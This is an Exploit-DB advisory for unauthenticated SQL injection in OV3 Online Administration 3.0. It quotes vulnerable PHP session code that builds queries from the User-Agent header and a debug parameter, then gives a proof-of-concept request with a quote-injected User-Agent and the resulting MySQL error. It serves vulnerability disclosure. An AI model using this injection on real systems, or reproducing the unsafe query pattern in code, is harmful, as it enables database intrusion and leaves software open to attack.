Exploit-DB #42097
Description: OV3 Online Administration 3.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-05-31
Author: LiquidWorm

Exploit:
OV3 Online Administration 3.0 Multiple Unauthenticated SQL Injection Vulnerabilities


Vendor: novaCapta Software & Consulting GmbH
Product web page: http://www.meacon.de
Affected version: 3.0

Summary: With the decision to use the OV3 as a platform for your data management,
the course is set for scalable, flexible and high-performance applications. Whether
you use the OV3 for your internal data management or use it for commercial business
applications such as shops, portals, etc. Thanks to the data-based structure of the
OV3, you always have the best tool at your fingertips. The OV3 is a 100% web-based
tool. This eliminates the need to install a new software on all participating client
computers. All elements are operated by a standard browser. Further advantages are
the location-dependent use and - particularly with ASP solutions - the reduced costs
for local hardware like own servers and modern client workstations.

Desc: OV3 suffers from multiple SQL Injection vulnerabilities. Input passed via multiple
GET and POST parameters, including the User-Agent HTTP header, is not properly sanitised
before being returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.


Tested on: CentOS release 6.8 (Final)
           PHP/5.3.3
           Apache/2.2.15
           MySQL/5.0.11


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5412
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5412.php


26.12.2016

--

The application is using some functions for escaping special characters and boolean checks,
but in many scripts there are plenty of vulnerabilities identified.

One of the vulnerable variables is "u_id" which is called via the login POST parameter.
When visiting the application, ov3.php gets loaded as main index which includes session.inc
file that contains the admin functions and the main functions for session management.

============================================================================================
/ov3.php:
---------

21: if(db_connect()!=false){
22: 	include($ov3_path."admin/session_management/session.inc");
23: 	include($ov3_path."admin/functions/functions.inc");
24:
25: 	// Escapen wichtiger Variablen
26: 	$sid = addslashes($sid);
27: 	$lang = addslashes($lang);
28:
29: 	// Session ueberpruefen bzw. anlegen
30: 	$u_info=check_session($sid);

============================================================================================


The vulnerabilities can be triggered in four session functions: new_session(), check_session(),
session_info() and check_login(). The db_exec() result query on line 22 or 74 is not using safe
functions when using the HTTP_USER_AGENT for parsing the User-Agent HTTP header contents.

============================================================================================
/admin/session_management/session.inc:
--------------------------------------

18: function check_session($sid){
19: 	global $no_ip, $ip_check, $db,$OV_SESSION_NO_IP;
20:
21: 	if($sid==""){return -2;} // keine SID geliefert
22: 	$result=db_exec("SELECT s_valid_time,u_id,c_id,ip_addr FROM ov_sessions WHERE sid=".$db[DB_SYSTEM]['uc_prefix']."'".addslashes($sid)."' and user_agent=".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."'", __FILE__, __LINE__);
23: 	if(db_rows($result)!=1){return -1;}
24: 	// Session existiert
25: 	$data = db_fetch_array($result,"");
26: 	db_free($result);
27: 	unset($result);
28: 	if($data["s_valid_time"] < time()){return -3;}// Session Zeit abgelaufen
29: 	if(!isset($OV_SESSION_NO_IP) || !$OV_SESSION_NO_IP[$data['c_id']]===true){
30: 		// IP check
31: 		$nFirstThreeBytes = strrpos(getenv ("REMOTE_ADDR"),".");
32: 		//echo substr($data['ip_addr'],0,$nFirstThreeBytes)." ".substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes);
33: 		if(substr($data['ip_addr'],0,$nFirstThreeBytes) != substr(getenv ("REMOTE_ADDR"),0,$nFirstThreeBytes)){
34: 			return -4;	// ip stimmt nicht
35: 		}
36: 	}
37: 	touch_session($sid);
38: 	return $data;
39: }
....
....
60: function new_session() {
61: 	global $session_time, $db;
62:
63: 	// microtime ist nur uf Unix Systemen verfuegbar. sonst: time()
64: 	if (OV_DEBUG==false) {
65: 		srand(microtime() * 1000000);
66: 		$sid=md5(uniqid(rand()));
67: 	} else {
68: 		$sid = $_GET['temp_sid'];
69: 		db_exec("DELETE FROM ov_sessions WHERE sid='".$_GET['temp_sid']."'");
70: 	}
71:
72: 	$time=time();
73:
74: 	db_exec("INSERT INTO ov_sessions (sid, s_time,s_valid_time,ip_addr,user_agent) values (".$db[DB_SYSTEM]['uc_prefix']."'".$sid."', $time, ".($time+$session_time).", ".$db[DB_SYSTEM]['uc_prefix']."'".getenv("REMOTE_ADDR")."', ".$db[DB_SYSTEM]['uc_prefix']."'".substr(getenv("HTTP_USER_AGENT"),0,127)."')", __FILE__, __LINE__);
75:
76: 	unset($time);
77: 	return $sid;
78: }

============================================================================================


The following PoC request demonstrates the issue:

GET /ov3.php?todo=manager&manager=home&sub=profile&mode=show&sid=ba2211a30f4d1b395ca5c987eda4TEST&stamp=[PII_REDACTED]&lang=en HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: ZSL/3.0'
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
DNT: 1
Connection: close


Response:

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2400
Connection: close
Content-Type: text/html

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''Z